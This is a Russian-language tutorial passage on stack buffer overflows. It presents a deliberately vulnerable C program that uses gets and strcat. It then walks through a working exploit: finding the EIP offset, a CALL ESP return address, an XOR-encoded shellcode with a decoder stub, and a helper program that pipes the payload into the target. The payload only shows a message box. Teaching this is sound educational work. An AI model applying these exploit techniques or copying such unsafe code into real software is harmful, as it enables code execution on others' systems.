Переполнение буфера - Пример "поближе к жизни"
ОГЛАВЛЕНИЕ
И ещё...
Напоследок рассмотрим пример "поближе к жизни". Следующая программа иллюстрирует наверное самую типичную форму уязвимости переполнения буфера:
 #include <stdio.h>
 #include <string.h>
 #include <windows.h>
 
 void show_message(char* msg)
 {
     char buffer[64];
     strcpy(buffer, "Message: ");
     strcat(buffer, msg);
     MessageBox(0, buffer, "Message", MB_ICONINFORMATION);
 }
 
 int main()
 {
     char text[1024];
     printf("Please, enter text: \n");
     gets(text);
     show_message(text);
     return 0;
 }
 
По сути эта программа почти не отличается от предыдущей, но в этот раз мы работаем не просто с массивами, а со строками. Переполнение происходит если передать функции show_message слишком длинную строку. Строку мы вводим с консоли и исходный код данной программы нас вообще не интересует; для дальнейшего понадобится лишь EXE файл (назовём его опять TEST.EXE). Такая ситуация примерно соответствует "реальной жизни".
Итак, попробуем устроить "атаку на переполнение буфера" в программе TEST.EXE. Для начала найдём место во вводимой строке, куда мы поместим наш адрес возврата. Для этого запустим test.exe и введём следующее:
В появившемся сообщении об ошибке смотрим, чему равен EIP. Он равен 0x63626136, следовательно адрес возврата должен находиться на месте символов "6abc". Прямо за ним поместим код. Проблема только в том, что та строка, которую мы разработали для предыдущего случая не подходит, так как в ней есть символы 0. Придётся применить маленькую хитрость: закодировать фрагмент программы, содержащий байты 0, проделав, например, с каждым байтом операцию XOR 80h. В начале программы придётся дописать код, который бы раскодировал её. Примерно такой:
MOV EAX, (конечный адрес закодированного фрагмента + 1)
MOV ECX, (количество байт во фрагменте)
decode:
DEC EAX
XOR BYTE PTR [EAX], 80h
LOOP decode
Нужно не забыть заменить и адреса используемых в коде функций на правильные для этой программы. В этой программе адрес ExitProcess хранится в 0x40f0ec, а адрес MessageBoxA - в 0x40f1a0. В итоге получаем следующую строку:
 "1111111111222222233333334444445555555566666"
 "\xb3\x94\xf7\xbf"          // aдрес возврата (адрес инструкции CALL ESP в KERNEL32.DLL)
                             // ----------- код ----------- --- адрес инструкции ---
 "\x8b\xec"                  // MOV EBP, ESP                         // EBP+4
                             // --- раскодируем часть программы ---
 "\x8b\xc5"                  // MOV EAX, EBP                         // EBP+6
 "\x83\xc0\x35"              // ADD EAX, 35h ; EAX = конечный адрес  // EBP+8
 "\x33\xc9"                  // XOR ECX, ECX ; ECX = 0               // EBP+b
 "\xb1\x10"                  // MOV CL, 10h  ; ECX = 10h             // EBP+d
 "\x48"                      // decode: DEC EAX                      // EBP+f
 "\x80\x30\x80"              // XOR BYTE PTR [EAX], 80h              // EBP+10
 "\xe2\xfa"                  // LOOP decode                          // EBP+13
                             // --- Вызываем MessageBoxA ---
 "\x6a\x30"                  // PUSH 30h                             // EBP+15
 "\x8d\x45\x2c"              // LEA EAX, [EBP+2сh]                   // EBP+17
 "\x50"                      // PUSH EAX                             // EBP+1a
 "\x8d\x45\x35"              // LEA EAX, [EBP+35h]                   // EBP+1b
 "\x50"                      // PUSH EAX                             // EBP+1e
 "\x51"                      // PUSH ECX     ; push 0                // EBP+1f
                             // -- начиная с EBP+25
                             //    идёт закодированный фрагмент --
 "\xff\x15\xa0\xf1\x40\x80"  // CALL [USER32.MessageBoxA]            // EBP+20
 
 "\x7f\x95\x6c\x70\xc0\x80"  // CALL [KERNEL32.ExitProcess]          // EBP+26
         
 "\xd1\xf5\xe5\xf3\xf4\xe9\xef\xee\x80"
                             //    Cтрокa "Question\0" (закодирована)// EBP+2c
                             // -- конец закодированного фрагмента
                             //    (EBP+34) --
 "To be, or not to be...\0";                                         // EBP+35
 
Для того, чтобы не вводить это всё вручную (что скорее всего не удастся, т. к. здесь полно различных спец. символов) можно написать маленькую програмку, которая выводит эту строку на консоль:
 #include <stdio.h>
 
 int main()
 {
     printf("11111111112222222222333333333344444444445555555555666666666"
            "\xb3\x94\xf7\xbf\x8b\xec\x8b\xc5\x83\xc0\x35\x33\xc9\xb1\x10\x48"
            "\x80\x30\x80\xe2\xfa\x6a\x30\x8d\x45\x2c\x50\x8d\x45\x35\x50\x51"
            "\xff\x15\xa0\xf1\x40\x80\x7f\x95\x6c\x70\xc0\x80"
            "\xd1\xf5\xe5\xf3\xf4\xe9\xef\xee\x80To be, or not to be...\0");
     return 0;
 }
 
Cкомпилируем её как T.EXE и направим её вывод на вход TEST.EXE:
> T.EXE | TEST.EXE
Работает!
